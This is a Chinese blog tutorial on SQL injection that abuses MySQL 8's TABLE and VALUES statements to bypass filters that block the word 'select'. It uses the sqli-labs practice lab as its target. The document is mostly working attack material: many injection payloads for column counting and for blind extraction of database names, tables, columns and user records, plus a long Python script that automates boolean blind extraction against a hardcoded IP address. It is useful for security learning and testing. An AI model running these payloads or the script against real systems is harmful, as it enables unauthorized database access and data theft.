mysql8-inject-learning

利用mysql8新特性进行SQL注入

0x01 MySQL8语法新特性

1、TABLE Statement

作用:列出表中全部内容

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE是mysql 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> TABLE users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.01 sec)

加上order by排序或LIMIT限制后

1
2
3
table users limit 1;
table users limit 0,1;
table users limit 1,1;

与SELECT的区别

1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

2、VALUES statement

作用:列出一行的值

1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据

ROW()返回的是一个行数据,VALUES将ROW()返回的行数据加上字段整理为一个表,然后展示

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql> TABLE emails;
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
8 rows in set (0.00 sec)

mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM users;
+----------+----------+------------+
| column_0 | column_1 | column_2 |
+----------+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----------+----------+------------+
14 rows in set (0.00 sec)

0X02利用MYSQL8新特性绕过select

场景:select关键词被过滤,多语句无法使用

测试环境:

1、mysql命令终端

2、sqli-labs靶场less-1

1、在mysql命令终端测试

1、判断列数

由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数

1
TABLE users union VALUES ROW(1,2,3);

2、使用values判断回显位

1
select * from users where id=-1 union values row(1,2,3);

image-20210501212036993

3、列出所有数据库名

1
table information_schema.schemata;

image-20210501212124148

4、盲注查询任意表中的内容

语句table users limits 1;的查询结果:

1
2
3
4
5
6
7
mysql> table users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

实质上是(id, username, password)(1, 'Dumb', 'Dumb')进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
mysql> select ((1,'','')<(table users limit 1));
+-----------------------------------+
| ((1,'','')<(table users limit 1)) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((2,'','')<(table users limit 1));
+-----------------------------------+
| ((2,'','')<(table users limit 1)) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Du','')<(table users limit 1));
+-------------------------------------+
| ((1,'Du','')<(table users limit 1)) |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dum','')<(table users limit 1));
+--------------------------------------+
| ((1,'Dum','')<(table users limit 1)) |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','')<(table users limit 1));
+---------------------------------------+
| ((1,'Dumb','')<(table users limit 1)) |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','D')<(table users limit 1));
+----------------------------------------+
| ((1,'Dumb','D')<(table users limit 1)) |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)

需要注意的地方

1、当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出

2.最好用<=替换<,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观。

最终判断过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select ((1,'Dumb','Dumb')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumb')<=(table users limit 1)) |
+--------------------------------------------+
| 1 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','Dumc')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumc')<=(table users limit 1)) |
+--------------------------------------------+
| 0 |
+--------------------------------------------+
1 row in set (0.00 sec)

2、在sqli-labs靶场测试

1、判断列数

使用order by语句判断:

1
2
1' order by 3--+   #正常
1' order by 4--+ #显示Unknown column '4' in 'order clause'

说明有3列

2、使用values判断回显位

1
-1' union values row(1,2,3)--+

3、爆库爆表爆字段爆数据

(1)爆当前数据库

1
2
-1' union values row(1,database(),3)--+
#或利用盲注1' and ascii(substr((database()),1,1))=115--+ 即s

(2)爆所有数据库

因为table不能像select控制列数,除非列数一样的表,不然都回显不出来。
需要使用table查询配合无列名盲注
information_schema.schemata表有6列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名

1
2
3
4
5
6
1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','n','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误
#得到第1个数据库名的第一个字符为m
......
1' and ('def','mysql','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','mysqm','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误

说明第1个数据库名为mysql

1
2
3
4
5
1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常
1' and ('def','information_schemb','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显错误
#说明第2个数据库名为information_schema
......
一直猜解,直到获得全部数据库名

(3)爆数据表

information_schema.tables表有21列

1
2
3
4
5
6
7
1' and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 317,1)--+ #第一个表users

1' and ('def','security','emails','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 318,1)--+ #第二个表emails

1' and ('def','security','uagents','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 319,1)--+ #第三个表uagents

1' and ('def','security','referers','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 320,1)--+ #第四个表referers

前两个字段都是确定的,可以写一个for循环判断,如果结果为真,代表从那行开始(这里是limit 317,1,即第318行),然后盲注第三个列。

(4)爆字段名

information_schema.columns表有22列
得到所有表名后开始判断字段名,找到columns表,具体方法和上面一样

1
2
3
4
5
1' and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3386,1)--+ #users表第一个字段为id

1' and ('def','security','users','password','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3387,1)--+ #users表,第二个字段为password

1' and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3388,1)--+ #users表,第三个字段为username

(5)爆数据

1
2
3
4
5
6
7
8
9
1' and (1,'D','')<=(table users limit 1)--+ #正常
1' and (1,'E','')<=(table users limit 1)--+ #错误

#table users limit 1也就是table users limit 0,1
#1' and (1,'D','')<=(table users limit 0,1)--+ #正常
#1' and (1,'E','')<=(table users limit 0,1)--+ #错误
......
1' and (1,'Dumb','Dumb')<=(table users limit 1)--+ #正常
1' and (1,'Dumb','Dumc')<=(table users limit 1)--+ #错误

得到第1个记录为1 Dumb Dumb

1
2
1' and (8,'admin','admin')<=(table users limit 7,1)--+ #正常
1' and (8,'admin','admio')<=(table users limit 7,1)--+ #错误

得到第8个记录为8 admin admin
一步一步注出数据

0x03脚本编写

脚本是get型传参,且参数名为id的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
import requests
import string

url = 'http://121.41.231.75:8002/Less-8/?id='
chars=string.ascii_letters+string.digits+"@{}_-?"

def current_db(url):
print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
print("请输入序号:",end='')
num = int(input())
if num == 1:
payload = "-1' union values row(1,database(),3)--+" #联合查询爆当前数据库(可修改)
urls = url + payload
r = requests.get(url=urls)
print(r.text)
else:
name=''
payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改)
for i in range(1,40):
char=''
for j in chars:
payloads = payload.format(i,ord(j))
urls = url + payloads
r = requests.get(url=urls)
if "You are in" in r.text:
name += j
print(name)
char = j
break
if char == '':
break

def str2hex(name):
res = ''
for i in name:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res

def dbs(url): #无列名盲注爆所有数据库(可修改)
while True:
print("请输入要爆第几个数据库,如:1,2等:",end='')
x = int(input())-1
num = str(x)
if x < 0:
break
payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改)
payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
for i in range(0,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
char = chr(ord(database[-1])+1)
database = database[0:-1]+char
payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'You are in' not in res.text:
print('从第',i,'行开始爆数据表') #判断开始行数
n = i
break
return n

def tables(url,database,n): #无列名盲注爆数据表(可修改)
while True:
print("请输入要爆第几个数据表,如:1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改)
payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
for i in range(3000,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
char = chr(ord(table[-1])+1)
table = table[0:-1]+char
payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'You are in' not in res.text:
print('从第',i,'行开始爆字段') #判断开始行数
n = i
break
return n

def columns(url,database,table,n): #无列名盲注爆字段值(可修改)
while True:
print("请输入要爆第几个字段,如:1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def datas(url,table): #无列名盲注爆数据(可修改)
while True:
print("请输入要爆第几个数据,如:1,2等:",end='')
x = int(input())
y = x-1
num = str(y)
if y < 0:
break
payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

if __name__ == "__main__":
while True:
print("请输入要操作的内容:\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
types = int(input())
if types == 1:
current_db(url)
elif types == 2 or types == 3:
print("请输入已经得到的数据库名:",end='')
database = input()
if types == 2:
tables_n(url,database)
elif types == 3:
print("爆数据表开始行号:",end='')
n = int(input())
tables(url,database,n)
elif types == 4 or types == 5:
print("请输入已经得到的数据库名:",end='')
database = input()
print("请输入已经得到的数据表名:",end='')
table = input()
if types == 4:
columns_n(url,database,table)
elif types == 5:
print("爆字段值开始行号:",end='')
n = int(input())
columns(url,database,table,n)
elif types == 6:
print("请输入要查询的数据表名:",end='')
table = input()
datas(url,table)
else:
dbs(url)

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!